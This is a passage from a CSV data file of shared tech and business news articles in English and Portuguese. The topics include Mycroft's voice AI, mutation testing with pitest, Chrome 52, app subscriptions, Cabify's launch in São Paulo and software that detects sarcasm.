skills and develop software that simulates them. It's a hugely resource intensive process,"" says Montgomery. That's one of the reasons why the company pursued an open source ethos -- to build up a community of committed developers that can work on building up the AI's skills. Currently, Mycroft has dozens of developers involved (the Mycroft Core is available on Github ) and hopes to raise that number to a thousand before too long. Mycroft is also supporting open source with the hope that AI, likely to be one of the most significant technologies of the coming decades, isn't the preserve of the usual tech behemoths. ""You point at things and grunt -- that's where we've been stuck since the 1970s [with UIs]. Now we're launching into a new era where computers talk in natural language. Companies need to not be held hostage to giant tech companies when they deploy these technologies,"" Montgomery said. While the likes of Facebook, Google, and Apple have been investing in 'weak' AIs -- systems that use their intelligence for a particular task or set of tasks -- Mycroft is one of the smaller number of companies looking to building strong AI with human-level capabilities and intelligence. A true strong AI has yet to be built, and some believe it never will be. For Montgomery, however, it's a matter of time and technology. AIs are already able to replicate humans if you're talking about two-month old babies, he points out, yet they're a way off being able to rival a fully-grown college graduate. The CEO believes we may be another 15 years away from a true strong AI, and aims to have Mycroft ""demonstrate something approximate to a human"" on the TED stage of the AI XPRIZE in 2020. On the way to the 2020 goal, the company is working on incremental upgrades to the Mycroft platform: improving the cadence of the system's voice to make it sound less robotic, and working on other skills around speech synthesis to make it sound more like a human and less like a computer. It also hopes to expand the range of languages the system can process beyond English to the likes of Spanish, Arabic, and the Indic languages. For now, however, there are no plans to bring a Mycroft hub mark II to the market. ""The reference device is the only hardware we're planning at the moment,"" Montgomery said, but added the company would be happy to work with a hardware partner on a Mycroft-based Amazon Echo style device, or in-car system. ""Automobile [AI] systems are the most demanded features, the most complained about, and the least used,"" he said. ""We'd love to do something there."" Read more about robots and AI",en
1465581994,CONTENT SHARED,-6074646493203713780,-8020832670974472349,-6121624872835463728,,,,HTML,http://blog.cleancoder.com/uncle-bob/2016/06/10/MutationTesting.html,Clean Coder Blog,"At XP2016 I attended an open-space demonstration of mutation testing. In particular, an open source tool for the Java space named pitest . I came away pretty impressed. I had heard of mutation testing before. A decade and a half ago there was an open source tool named jester . Nothing much came of Jester back then. Perhaps we were too focussed upon TDD to think beyond it. After all, the very notion of rigorous unit testing was very controversial -- at the time. But before I get philosophical, perhaps I should describe what mutation testing is. The Problem. What's the problem with unit tests? Dijkstra said it long, long ago. ""Testing shows the presence, not the absence of bugs."" This sentiment has long been used as a complaint against the discipline of TDD. ""Write all the tests you like"", the detractors would say, ""it still doesn't prove your code actually works."" Dijkstra was right, of course. However, his complaint could also be raised about the scientific method. To paraphrase: Experiments can only disprove, never prove, a theory."" And yet every day we are willing to bet our lives on those unproven theories of Newton, Einstein, Maxwell, and Boltzmann. If experiments are good enough for science, why aren't unit tests good enough for software? There are many answers to that, which I will phrase as questions[1]: Have you written enough tests? Have you covered every line, every branch, every path? If a semantic change is made to the code, will some test fail? Sufficiency. The first question is obvious. If you missed a test, you may have a bug. There are two kinds of missing tests. The first is some statements in the code that are not tested by the tests. The second is some requirements that the developers missed. There's not much we can do about that later case other than to carefully review the requirements and to expose the software to customers and users early and often to get their feedback. The former case is a symptom of test-after. If you write the code first, and then write the tests for the code, you are very likely to miss some statements or branches. This is one of the biggest arguments in favor of the test-first strategy of TDD. If you write your tests first, and if you refuse to write a line of production code unless it is to get a failing test to pass, then you are not likely to leave any code uncovered by the tests. Coverage. And that brings us to the second question. Have you covered all the lines, branches, and paths? Covering every path is impractical. The simple explosion in the number of paths makes the testing burden enormous. We may solve this problem one day; but today is not that day. However, we have tools that will tell us what lines and branches are covered. These coverage tools are readily available, easy to run, and generally quite fast. They aren't perfect, but overall they're pretty good. So what should your goal be? The question is absurd. There is no justifiable goal other than 100%. Every single line, and every single branch, should be tested by your unit tests. I realize that this goal is not practicably achievable. So I think of it as an asymptotic goal -- one that we are always pushing towards, but never quite achieving. Of course the problem with coverage is that it doesn't prove what you might think it proves. It does not prove that you have tested every line and every branch. All it proves is that you have executed every line and every branch. Pull out all the asserts from your tests, and your coverage remains unchanged! Semantic Stability. And that leads us to the third, and most important question. If you make a semantic change to the code -- a change that alters the meaning of the code -- will one of your tests detect it? That's a very high bar for a test suite. But, again, it is the only justifiable bar to set. Of course your test suite should fail if you make a semantic change to your production code. Does anybody realistically doubt that? And think about what such semantic stability means. It means that your test suite tests every line and every branch. It means that your test suite verifies every behavior written into your system. Well, perhaps not quite. Remember we aren't ensuring that all pathways are covered. Still, if we change the sense of an if statement, and some test doesn't fail, that's a problem. If, on the other hand, we walk through the code and, one-by-one, change the sense of every if statement to see if a test fails, then we can be pretty sure that all our if statements are covered and tested. If we also change, one-by-one, the sense of every while statement; and if, one-by-one, we remove every function call; and we ensure that each of those changes causes our test-suite to fail, then we can be pretty sure that those while statements and function calls are covered and tested. Mutation Testing This is what mutation testing does. The pitest tool first runs a coverage analysis by executing your test suite and measuring which lines are covered by the tests. Then, one-by-one, it makes semantic changes to the Java byte code, such as inverting the sense of if and while statements, and removing function calls. Each one of those changes is called a mutant . For each mutant the tool runs the unit test suite; and if that suite fails , the mutant is said to have been killed . That's a good thing. If, on the other hand, a mutant passes the test suite, it is said to have survived . This is a bad thing. It means that the tests do not check for that semantic change. Strangely, the sense for mutant tests is inverted ; we expect them to fail. A passing mutant test is bad. Mutants should all be red! A surviving (green) mutant might be the result of tests that have been @ignore d, or commented out, or when asserts have been removed, or never added. It can also happen if TDD discipline got a little lax at some point, and some code got added without a corresponding test. As a side note, I have found pitest to be pretty easy to operate, and relatively fast. It apparently does some smart dependency detection to help it determine what tests need to be run for particular mutants. Your mileage may vary; and I did have to break the mutation tests up into small parts for one larger project I am working on. Still, I have found the tool to be quite useful at identifying semantic instabilities in my test suites. Implications A fundamental goal of TDD is to create a test suite that you can trust, so that you can effectively refactor. We need to be able to refactor in order to keep the code clean enough to modify and enhance without paying huge costs and taking huge risks. The cleaner the code the longer it's useful lifetime. For years the argument has been that test-after simply cannot create such a high reliability test suite. Only diligent application of the TDD discipline has a chance of creating a test suite that you implicitly trust. However, with a mutation testing tool like pitest I have successfully augmented a test-suite created with lax TDD discipline into one that I can implicitly trust. The implication of that is significant. If a development team dedicates itself to creating a test suite that is semantically stable, and verifies that stability by using a mutation tester like pitest , then does it really matter if the tests were written first? Oh there are other arguments for test-first, of course. There's the design argument, and the cycle time argument, and the fun factor argument among many others. Valid as those arguments may be, they pale in comparison to creating a test suite that guarantees semantic stability. As hard-nosed as I am about TDD as a necessary discipline; if I saw a team using mutation testing to guarantee the semantic stability of a test-after suite; I would smile, and nod, and consider them to be highly professional. (I would also suggest that they work test-first in order to streamline their effort.) [1] If you think about it, each of those questions has an analog for science. We don't trust our lives to theories that have not been subjected to experimental testing that is complete, covered, and controlled (semantically stable).",en
1465582475,CONTENT SHARED,-387651900461462767,-1387464358334758758,-3452196695241416722,,,,HTML,http://googlediscovery.com/2016/06/09/android-ira-recomendar-aplicativos-baseado-na-localizacao/,Android irá recomendar aplicativos baseado na localização | Google Discovery,"O Google anunciou hoje que vai disponibilizar uma atualização para o Android que irá utilizar a localização do aparelho para recomentar aplicativos úteis. A novidade foi batizada de Nearby e irá notificar os usuários sempre que aplicativos interessantes forem identificados como relevantes com base na localização do usuário. O buscador prometeu que todos os telefones que rodam Android 4.4 (KitKat) ou superior irão receber a novidade por meio de uma atualização do Google Play Services. Veja um exemplo abaixo: é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1465586035,CONTENT SHARED,2393972361498749268,-9009798162809551896,-4645213065936926211,,,,HTML,http://blog.chromium.org/2016/06/chrome-52-beta-css-containment-simpler.html,"Chrome 52 Beta: CSS containment, simpler performance measurement, streamable responses from service workers, and more options for web push","Unless otherwise noted, changes described below apply to the newest Chrome channel release for Android, Chrome OS, Linux, Mac, and Windows. Rich, interactive experiences are a cornerstone of the web, but can sometimes take a long time to render due to their complexity. Currently, Chrome improves rendering performance by using heuristics to determine which parts of a page have changed. Only sections that have changed are updated instead of rendering the entire page 60 times per second. However, because elements can display outside the bounds of their parents, it is possible that changes to one element could affect elements anywhere else in the document. This dramatically increases the number of elements that Chrome must consider while rendering. Collecting accurate real-user measurement (RUM) data is critical to detecting performance problems and regressions that may hurt the user experience of a site. Chrome's DevTools allow local site testing, but measuring how a site performs for real users with varied devices can be challenging. The latest version of Chrome supports the PerformanceObserver API, which enables a simple and performant way to collect RUM data at runtime. Instead of polling for updates, sites can declare which metrics they're interested in . The browser notifies the site when new data points for those metrics become available. Service Worker Responses Powered by ReadableStreams Web Push Protocol and VAPID Support Push notifications have unlocked a new level of re-engagement for web apps, but until now developers have had to use proprietary push message delivery services and different APIs for different browsers. Chrome now supports , an open standard to authenticate a site's server with a push service. When using VAPID, sites are given a Firebase Cloud Messaging endpoint, which supports the cross-browser web push protocol . Other features in this release Minor changes and improved spec compliance in this release Posted by Shubhie Panicker, Performance Powerhouse",en
1465588281,CONTENT SHARED,8163984238975480171,-3508202263850468997,1153299192244483669,,,,HTML,http://gizmodo.uol.com.br/apple-google-assinatura-apps/,Apple e Google querem que você pague por assinatura em apps,"Dias antes da WWDC, a Apple anunciou uma grande mudança para a App Store: todos os desenvolvedores poderão oferecer apps por assinatura. O Google vai fazer o mesmo no Android. Isso significa que haverá uma opção a mais para desenvolvedores ganharem dinheiro, além de anúncios, pagamentos únicos e pagamentos in-app. O que isso significa para os usuários? No caso da Apple, os desenvolvedores receberão 70% da assinatura no primeiro ano do app, e 85% nos anos seguintes. Isso começará a valer a partir da semana que vem. O Google pretende oferecer 85% da assinatura aos desenvolvedores assim que lançar esse recurso - que ainda não tem data para chegar. Como funciona Não quer dizer que todo app pago vai adotar uma assinatura mensal ou anual. Phil Schiller, vice-presidente de marketing da Apple, explica ao The Verge que isso será útil para alguns tipos específicos de app: Schiller sugere que muitos apps corporativos poderiam mudar para assinaturas, assim como apps profissionais que exigem ""bastante manutenção de novos recursos e versões"". Jogos que já têm um programa de assinatura, ou que têm um mundo massivo online que requer atualizações, também podem usar isso. De acordo com a consultoria App Annie, 75% da receita global da App Store vem de jogos. Quase todos os games mais rentáveis são free-to-play e oferecem compras in-app - daqui em diante, eles podem oferecer assinaturas de itens virtuais também. Schiller nota que a assinatura de apps terá proteções ao consumidor. Por exemplo, se o valor aumentar, você precisa aceitar o preço maior - senão a assinatura é cancelada, em vez de ser renovada automaticamente. Também haverá uma página específica para gerenciar assinaturas em apps; e será possível cobrar preços diferenciados dependendo do país - uma assinatura pode sair mais barata no Brasil que nos EUA, por exemplo. Teste gratuito Isso também permitirá aos desenvolvedores oferecer períodos gratuitos de teste no iOS. Você poderá ter até 7 dias gratuitos no caso de assinaturas mensais, e até 30 dias no caso de uma assinatura anual. Apps pagos, por outro lado, não podem oferecer trial gratuito (o desenvolvedor tem que criar uma versão ""Free"") e não dão direito a reembolso - o que desestimula compras, já que a qualidade do app a ser comprado é incerta . 24% dos downloads são pagos no iOS, com preço médio de apenas US$ 1,00 . Há cinco anos, 63% dos downloads eram pagos a um preço médio de US$ 3,64. Isso mudou devido a dois fatores: maior concorrência entre apps - há mais de um bilhão - e vendas de iPhones e iPads em queda . No Android, ao adquirir um app pago na Play Store, você tem duas horas para tocar no botão Reembolso e reaver seu dinheiro. Se estourar esse prazo, você ainda tem 48 horas para preencher um formulário de reembolso . De acordo com a AppBrain , menos de 10% dos apps na Play Store são pagos. Enquanto isso, a loja do Windows oferece opções ""Comprar"" e ""Testar"" desde 2011 , correspondendo às versões paga e gratuita de um mesmo app. Receio Desenvolvedores estão receosos quanto a assinaturas na App Store. Um dos problemas é que a Apple só vai aprovar apps com assinaturas que ""fizerem sentido"". Isso significa que ""a experiência deve fornecer valor contínuo para cobrar um pagamento recorrente de uma assinatura renovável automaticamente"" - o que não é claro o bastante. Na prática, o desenvolvedor que quiser implementar assinaturas no app terá que fazer isso e torcer que a Apple o aprove. John Gruber, do Daring Fireball, explica : Isso é ruim o bastante para um app existente cujo desenvolvedor queira mudar para uma assinatura. Mas essa incerteza é absolutamente insustentável para um app novo cujo desenvolvedor veja a assinatura como o único modelo sustentável de negócios para justificar o próprio desenvolvimento do app. E isso também pode ser problemático para usuários. Se você deixar de pagar por uma assinatura, o que acontece com o app? Isso deve variar de caso para caso: se o app for gratuito e tiver assinatura, ele perderia recursos; se exigir assinatura para ser instalado, ele talvez pare de funcionar. Se parar de pagar apenas interrompesse futuras atualizações do app], seria uma boa ideia, mas tenho certeza que a App Store não permite isso e nunca permitirá. Um bom efeito colateral de downloads pagos é que você pode continuar usando uma versão antiga de um app até que ele tecnicamente não rode mais, por causa de uma atualização do sistema operativo ou algo parecido... Eu, pessoalmente, tenho alguns apps em versões que felizmente ainda funcionam para mim. Mas esta é a forma na qual a economia do software está se movendo. Ninguém espera que uma assinatura de um serviço online continue a funcionar se você deixar de pagar por ele. A Adobe cobra assinatura de programas como Photoshop e Illustrator; e a Microsoft faz o mesmo com o pacote Office. Será que apps do iOS e Android poderão fazer o mesmo? [ The Verge - Recode - Daring Fireball ] Foto por Parampreet Chanana /Pixabay",pt
1465590990,CONTENT SHARED,5843362068320522769,6634405260717362812,4886055571050641606,,,,HTML,http://www.clientesa.com.br/gente/62022/empatia-e-tecnologia/Ler.aspx,ClienteSA - Gente - Empatia e tecnologia,"Tão importante quanto investir nas novidades tecnológicas, colocar-se no papel do cliente é fundamental 02/06/2016 11:37 Quando se pensa em relacionamento com o cliente nos dias de hoje, é muito comum pensar somente em investimento das áreas tecnológicas e canais de atendimento. Mas como explica Bianca Oliveira Vargas, gerente executiva de relacionamento com clientes e comunicação da MRV Engenharia - uma das candidatas ao prêmio CIC deste ano -, também é necessário se colocar no lugar do consumidor para perceber e descobrir como ele gosta de ser atendido. Além disso, para quem trabalha nesta área, é muito importante gostar do que faz e estar sempre em busca de inovações. Cliente SA - Como a Sra. vê a área de gestão de clientes no Brasil atualmente? Bianca: Vejo a área de gestão de clientes no Brasil em constante evolução, acompanhando a onda da conectividade e da mobilidade. Precisamos pensar novos modelos de negócio e principalmente novas formas de nos relacionarmos com o consumidor, que está cada vez mais envolvido com propósitos. Os consumidores querem novos canais de atendimento, novos serviços, autoatendimento, autosserviço, conveniência, respeito, interfaces amigáveis, fluidez, comandar a forma de transação e se relacionar com empresas legítimas, autênticas, transparentes, com propósitos sinceros e voltados para o bem comum. A gestão deixou de ser um aprimoramento de indicadores e resultados para se tornar uma experiência positiva em sua relação com a companhia, sempre pautada pela inovação. O WhatsApp e ferramentas de comunicação instantâneas mobiles, por exemplo, com suas velocidades determinam também o ritmo da gestão de clientes. Novos negócios partem da palma da mão. Plataformas digitais e mobile tem mudado a relação com os clientes, proporcionando um novo padrão de serviços e de interação, além de necessitar de uma verdadeira máquina de inovação para dar conta da busca constante por novidades e conveniência. Hoje, qual o perfil que um profissional deve ter nessa área? O perfil do profissional dessa área deve ser de uma pessoa inovadora, que pratica a empatia em seu dia a dia. Precisamos nos posicionar como consumidores que somos para propor ações que realmente façam sentido aos nossos clientes. A atualidade exige profissionais que estejam ligados, conectados e, principalmente, que sejam apaixonados por atender aos clientes. No caso da MRV, temos o privilégio de trabalhar com um ""produto"" que é especial para todos nós: o sonho de conquistar a casa própria. Um cliente que liga no call center ou nos aciona nas mídias ou em qualquer outro canal, precisa ser atendido com todo respeito e qualidade. Afinal ele está tratando da compra da casa própria, ali está concentrada muita emoção, muita expectativa, o dinheiro de toda sua vida, o orgulho da sua família. É desafiador e por isso o perfil do profissional da equipe de Relacionamento da MRV é diferenciado. Qual a importância do prêmio para o mercado de gestão de clientes? O prêmio é uma importante ferramenta para valorizar e evidenciar os profissionais e as empresas que têm investido no relacionamento com seus clientes. Mas, mais do que isso, ele vem reforçar a importância das empresas buscarem ir além do atendimento padrão, se adequando aos cenários e investindo em inovações constantes para superar as expectativas. Quais são as suas expectativas em relação à premiação? Esperamos reconhecimento da MRV como uma empresa que faz a diferença nessa área e que agrega valor não só para clientes, mas também para o mercado como um todo. Temos investido muito em inovação, buscando novas formas de ir além do atendimento tradicional e de efetivamente gerar valor para nossos clientes. Onde a Sra. tem feito a diferença na atividade de gestão de clientes? Indo em busca da inovação, da conectividade, mobilidade e, principalmente: do propósito. Os consumidores estão em busca de um propósito das marcas, e no nosso caso não é diferente. Há muito deixamos de apenas oferecer o atendimento básico para nossos clientes, nos concentrando em fazer sempre melhor e superar suas expectativas. Nosso objetivo é continuar nessa busca constante para sempre surpreendê-los. Algo mais que queira acrescentar? Ficamos muito felizes com a indicação, pois demonstra que os investimentos da MRV nesse setor têm sido percebidos e reconhecidos pelo mercado.",pt
1465593678,CONTENT SHARED,6109135203991499571,-2050699458865052139,-7820558432416716926,,,,HTML,https://tecnoblog.net/196766/programador-trabalho-automatizacao/,Um programador automatizou seu trabalho e passou 6 anos sem fazer nada | Tecnoblog,"Um usuário do Reddit identificado como FiletOfFish1066 compartilhou uma história pra lá de curiosa, e nossos leitores que trabalham com programação e testes vão se identificar. Quando ainda era um recém-formado, há seis anos, ele foi contratado para trabalhar em uma empresa que na época era pequena, mas que hoje é um dos maiores nomes de tecnologia de San Francisco, muito provavelmente uma gigante do Vale do Silício. E com um salário equivalente a R$ 26 mil por mês. Seu trabalho? Testar o que os outros programadores criavam. E, para quem não conhece essa parte do processo de desenvolvimento de software, o pessoal de Quality Assurance (QA) valida, por exemplo, se um campo de data aceita apenas datas e não texto, se campos de texto permitem SQL Injection , se os usuários possuem acesso a determinado recurso, se um botão está realizando a tarefa esperada, se a resposta do sistema está correta e afins. Uma vez que esses testes são padronizados, o trabalho do QA se torna uma repetição de validações. Nosso nobre Filé de Peixe precisou de 8 meses para perceber isso, e resolveu criar um programa que automatizou suas tarefas. Como todo bom profissional, ele avisou seus superiores sobre sua excelente ferramenta, pedindo mais trabalho para ocupar seu tempo livre, certo? Pois é... não. O desgraçado ficou quieto. E passou seis anos dentro da empresa jogando League of Legends , navegando pelo Reddit, indo para a academia ou qualquer outra coisa que desse na telha. Como os testes funcionavam sem problemas toda vez que precisavam dele, nunca ninguém reclamou. Isso, claro, até alguém descobrir a mamata e avisar o chefe. Evidentemente, o maluco foi demitido no mesmo instante. E o pior: por ter passado tanto tempo sem trabalhar, ele esqueceu o que sabia sobre programação! Hoje o rapaz tem 28 anos, acumulou US$ 200 mil na poupança, mas está desempregado. E quais serão seus passos agora? Tirar férias. ""Essa pausa é necessária. Eu preciso repensar tudo na minha vida. Quando eu voltar, vou reaprender tudo que esqueci, estudar algoritmos novamente e ler Cracking The Coding Interview "", concluiu. Potencial ele tem, só precisa deixar de ser preguiçoso. E se você pensa em trabalhar nessa área, confira todos os links aqui em cima. Vai por mim.",pt
1465598766,CONTENT SHARED,-5791454671270548045,-1443636648652872475,-3976301106281818872,,,,HTML,https://cloud.google.com/blog/big-data/2016/06/google-cloud-dataproc-the-fast-easy-and-safe-way-to-try-spark-20-preview,"Google Cloud Dataproc - the fast, easy and safe way to try Spark 2.0-preview | Google Cloud Big Data and Machine Learning Blog","Posted by James Malone, Product Manager Please note that the Spark project states this release of Spark 2.0 ""...is not a stable release in terms of either API or functionality"" and has a number of known issues . As such, you should expect to encounter incompatibilities and rough edges when testing Spark 2.0. Additionally, Spark 2.0 will not be officially supported on Cloud Dataproc until a stable release of Spark 2.0 is available. The preview release is offered for testing purposes only. If you like to stay on the cutting edge of the Apache Spark and Apache Hadoop ecosystem, we have some good news - you can test new versions of these tools in a fast, easy and cost-effective way. Google Cloud Dataproc , Google Cloud Platform's managed Spark and Hadoop service, has a preview image version which often includes preview releases of popular Spark and Hadoop components. Starting today, our preview image includes a build of the next major milestone for the Spark project - the Spark 2.0-preview release . The Spark 2.0 preview includes a number of new features , such as: Unification of the DataFrame and Dataset API ANSI SQL parser and subquery support for Spark SQL SparkSession, which replaces SQLContext and HiveContext A machine learning API based on DataFrames A second-generation Tungsten engine for increased performance Machine learning models and pipelines can now be saved and re-loaded A new Structured Streaming API for handling more complex streaming needs For example, here is output from running the spark-shell on Cloud Dataproc and invoking the new SparkSession variable: val csvData = spark.read.csv(""gs://my-bucket/project-data/csv"") As an example of how you might use the SparkSession, you can easily read data from Google Cloud Storage into a DataFrame without having to use SQLContext.read(): Let's assume you have a set of Spark SQL queries you run daily on data stored in Cloud Storage. You can easily test your scripts on Spark 2.0 preview by simply creating a new cluster using the preview image. Within approximately 90 seconds you'll have access to a cluster you can use for testing without impacting your existing users or pipelines. When you're done testing, simply delete the cluster. This testing may provide useful information on breaking changes, insights on performance differences or access to new features from the Spark 2.0 preview. You can get started with the Spark 2.0 preview today on Cloud Dataproc by using the ""preview"" image version when you create clusters through the Google Developers Console , the Google Cloud SDK , or the Cloud Dataproc API . For more information about selecting Cloud Dataproc versions, please see the Cloud Dataproc documentation .",en
1465616713,CONTENT SHARED,4973921475467086339,5206835909720479405,5075351967704503141,,,,HTML,http://exame.abril.com.br/tecnologia/noticias/rival-do-uber-estreia-em-sao-paulo-com-preco-competitivo,Rival do Uber estreia em São Paulo com preço competitivo | EXAME.com,"São Paulo - A Cabify estreia nesta segunda-feira (6) no Brasil, começando pela cidade de São Paulo . A empresa oferece um serviço de transporte individual de pessoas, como faz a Uber . No entanto, a maneira de cobrar por corridas é diferente e os preços são competitivos. Os apps do serviço têm versões para smartphones Android e iPhones. O passageiro paga as corridas somente por quilômetro, o tempo fica fora da equação. Ou seja, ao pegar trânsito, ele não paga pelos minutos que permanecer parado. Porém, o valor varia de acordo com a corrida. O Cabify cobra do cliente 2,50 reais a cada quilomêtro em percursos de 5 km a 10 km; 2 reais em rotas de 10 km a 25 km; e 3 reais em viagens acima de 25 km. A tarifa base é de 50 centavos, mas ela sobe para 2,50 em horários de pico. A cada viagem, 25% do total é pago automaticamente para a companhia e o restante fica com o motorista parceiro (não funcionário, esclarece a Cabify). Os motoristas de táxis pretos, a mais nova categoria aprovada pela Prefeitura de São Paulo, também poderão fazer parte do Cabify, junto com pessoas que dirigem profissionalmente sem alvará. No UberX, há tarifa base de 3 reais, cobrança de 35 centavos por minuto e preço por quilômetro de 1,43 real. No caso da tarifa dinâmica, o valor aumenta de acordo com a demanda em uma determinada região, tornando viagens em horário de pico mais caras. Não há tafira dinâmica no Cabify, mas também o serviço não oferece compartilhamento de veículos, o que reduz o preço das corridas realizadas pelo aplicativo concorrente. Assim como no 99Top, da 99Táxis, e no Uber, não há taxa cobraba pela mudança de município, o que reduz o preço da corrida para quem precisa ir a uma cidade vizinha de São Paulo, como Guarulhos. A empresa, porém, não vê esses serviços de transporte exatamente como concorrentes. ""Nosso principal concorrente é o carro particular"", afirmou Ricardo Weder, CEO do Cabify para a América Latina, em entrevista a EXAME.com. No Brasil, somente o Cabify Light começa a funcionar hoje. Para quem conhece o Uber, essa categoria é semelhante ao UberX. Contudo, há algumas diferenças na seleção de veículos. Por exemplo, praticamente todos os sedãs se enquandram, somente alguns modelos hatch entram no serviço e carros simples, como Celta e Uno, ficam de fora. A qualidade do serviço prestado aos paulistanos é a principal aposta da Cabify neste primeiro momento no Brasil, que deve se tornar um dos seus maiores mercados no cenário global, dada a necessidade do transporte individual de cidades como São Paulo e Rio. Por isso, o aplicativo oferece sistemas de avaliação bilateral, como no Uber ou no Airbnb, em que cliente e prestador de serviço dão notas um ao outro. O pagamento é automatizado, basta cadastrar o cartão no app. Desta maneira, ao final da viagem, o passageiro apenas desesmbarca e tudo está pago. Neste primeiro momento, a empresa vai oferecer algumas viagens gratuitas para que a população paulistana possa experimentar as viagens no Cabify. O código MEUCABIFY dá duas corridas de 20 reais aos usuários do aplicativo, na primeira vez no serviço. O Cabify está presente atualmente em 15 cidades, em sete países diferentes. A empresa não informa a quantidade de motoristas parceiros, mas diz que mais de 10 mil pessoas interessadas se cadastraram na empresa em São Paulo até o momento. Vale notar que táxis pretos e pessoas que trabalham com transporte de pessoas mesmo sem alvará podem se cadastrar na plataforma digital. As próximas cidades na mira do Cabify são Belo Horizonte, Brasília, Curitiba, Goiania, Rio de Janeiro e Porto Alegre.",pt
1465642195,CONTENT SHARED,-5836228373063558898,6040926917589508037,4802031496467040625,,,,HTML,http://www.nsk.com/company/visionandphilosophy.html,Vision & Philosophy,"The corporate philosophy defines the ideal image of NSK in the 21st century and outlines management efforts and employee actions necessary to realize this ideal. The philosophy consists of a mission statement, management principles, corporate message and slogans. Mission Statement NSK aims to contribute to the well-being and safety of society and to protect the global environment through its innovative technology integrating Motion & Control™. We are guided by our vision of NSK as a truly international enterprise, and are working across national boundaries to improve relationships between people throughout the world. Management Principles To serve our customers through innovative and responsive solutions, taking advantage of our world leading technologies. To provide challenges and opportunities to our employees, channeling their skills and fostering their creativity and individuality. To identify the needs of the times and of the future and to use all of NSK's resources to meet those needs by being versatile, responsive and dynamic. To work together with our employees and contribute to the communities in which we operate. To manage our business from an international, perspective and to develop a strong presence throughout the world. Corporate Message Responsive and Creative MOTION & CONTROL™ ""Responsive"" expresses NSK ability to react effectively to new opportunities and customer needs while maintaining a sense of harmony with societies and the global environment. More specifically, ""Responsive"" embodies five concepts: Resilience Smoothness Tenacity and perseverance Flexibility Technology ""Creative"" reflects our commitment to finding new ways to enhance our products and services as we work to realize the full potential of NSK and society. Creative also affirms the unlimited potential of both the Corporation and its employees. ""Motion and Control"" portrays new NSK image, a distinct breakaway from its old bearing company image. The corporate message communicates NSK ideas to clients and the general public and seeks to gain their understanding and support. The message's intent is to express the Corporation's spheres of activities and its future image. Corporate Slogan Corporate slogans encapsulate the attitudes and actions required to realize the ideas in our mission statement. These ideas enhance NSK corporate culture, foster personal development and provide direction for its corporate development. - Beyond Limits, Beyond Today - Limits symbolize the restrictions and barriers inherent in all things from individuals to industries and countries. All NSK employees will make these limits the focal point for our enthusiasm and energy, and in the process of overcoming them, create a future for NSK. Today is the immediate. We must strive to see beyond the immediate problem, condition or event, and perceive the long-term challenges and opportunities. Through a long-term vision, we can ensure NSK's prosperity as well as our own growth and personal development. Beyond Frontiers Adopt a global perspective in all aspects of NSK's operations. Beyond Individuals Accomplishing and growing beyond personal ideas. Beyond Imagination Transcending conventional ideas and adopting a flexible and inquisitive approach to go beyond present limitations. Beyond Perceptions Welcoming change and encouraging creative synergies. Challenging the Future Looking beyond the short term and accepting the challenge of new opportunities.",en
1465650906,CONTENT SHARED,5714055337338770799,6040926917589508037,4802031496467040625,,,,HTML,http://scholarworks.gvsu.edu/honorsprojects/450/,"""""Good Luck with That!"": Teaching Machines to Detect Sarcasm"" by Xinyi Ou","Sarcastic text messages run the risk of misinterpretation, primarily because the reader does not have access to the sender's body language or tone of voice to help intuit the original intentions of the author. However, if machines could be taught to accurately detect sarcasm, those on the receiving end could be forewarned about the presence of sarcastic content.",en
1465651032,CONTENT SHARED,2265761247530716287,6040926917589508037,4802031496467040625,,,,HTML,http://arstechnica.com/information-technology/2016/01/snark-attack-cornell-students-teach-software-to-detect-sarcasm/,Snark attack: Cornell students teach software to detect sarcasm!,"A team of students participating in Cornell University's Tech Challenge program has developed a machine learning application that attempts to break the final frontier in language processing-identifying sarcasm. This could change everything... maybe. TrueRatr, a collaboration between Cornell Tech and Bloomberg, is intended to screen out sarcasm in product reviews. But the technology has been open sourced ( and posted to GitHub ) so that others can modify it to deal with other types of text-based eye-rolling. Christopher Hong of Bloomberg acted as mentor to the interdisciplinary student team behind TrueRatr (consisting of MBA candidates, engineering, and design graduate students)-Mengjue Wang, Ming Chen, Hesed Kim, Brendan Ritter, Shreyas Kulkarni, and Karan Bir. Hong had researched sarcasm detection himself while working on his 2014 master's thesis. ""Everyone uses sarcasm at some point,"" Hong told Ars. ""Most of the time, there's some intent of harm, but sometimes it's the opposite. It's kind of part of our nature."" So it should be really easy for software to detect sarcasm... not. The problem has been that ""the definition of sarcasm is not so specific,"" Hong explained. Past efforts to catch sarcasm have used techniques like watching for cue words (""yeah, right""), or the use of punctuation, such as ellipses. But in his research, Hong looked at what he calls ""sentiment shift""-the use of both positive and negative words in the same phrase. Hong explained the concept using the example sentence, ""I love getting yelled at""-""'I love', which is a positive sentiment, and then 'getting yelled at' is a negative statement-that in itself would indicate some sort of sarcasm."" Using that sort of sentiment analysis, Hong was able to train a system to the point where it had an F1 precision score (the number of accurate detections relative to the number of both true and false positives) at a document level (for a whole passage, rather than individual sentences) of 71 percent for his test set. That's better than a coin-flip, at least. But it was based on a fairly small ""corpus"" of sarcasm-only using a total of 50 random sarcastic and 50 random non-sarcastic Amazon reviews as his test set. So there was no way to know how well the technique would work in the real world. To build a better snark trap, the Cornell Tech team launched the ""Open Sarcasm Project""-an effort to crowdsource the collection of sarcastic product reviews. This totally worked... too slowly for the three months the team had to complete the project. Elena Filatova, now teaching at Fordham University, provided a batch of 437 ""high quality"" sarcastic and non-sarcastic Amazon reviews she used in her doctoral research at Columbia. The students turned to Amazon's Mechanical Turk paid crowdsourcing service to obtain 158 more sarcastic reviews and collected 99 sarcastic reviews and 257 non-sarcastic reviews on their own, achieving a total training set of 1,188. On a test sample of 100 sarcastic and 100 non-sarcastic Amazon reviews, the TrueRatr system-based on a "" random forest "" decision tree algorithm rather than the model originally used by Hong-scored slightly better than Hong's original, achieving a 75 percent precision score. To make the best use of that sensitivity to sarcasm, the Cornell Tech students crafted TrueRatr into something useful to consumers: a tool for filtering out the distortion to the rating of Mac OS X and iOS applications. The TrueRatr site performs analysis of the reviews posted on the Apple App Stores and eliminates the reviews that it determines to be sarcastic, adjusting the overall score accordingly. By clicking on an application's listing, a user can get an analysis of what its ""true"" rating is-and also find the most sarcastic review. Sometimes, that's a plus for the app in question-removing sarcastic reviews from Uber's app raises the transportation app's overall score from 3.5 to nearly 4 out of 5 stars. On the other hand, Grand Theft Auto: Chinatown had its score drop under TrueRatr's gaze from 4.5 to 3.9 out of 5 stars. A random sampling of TrueRatr's results 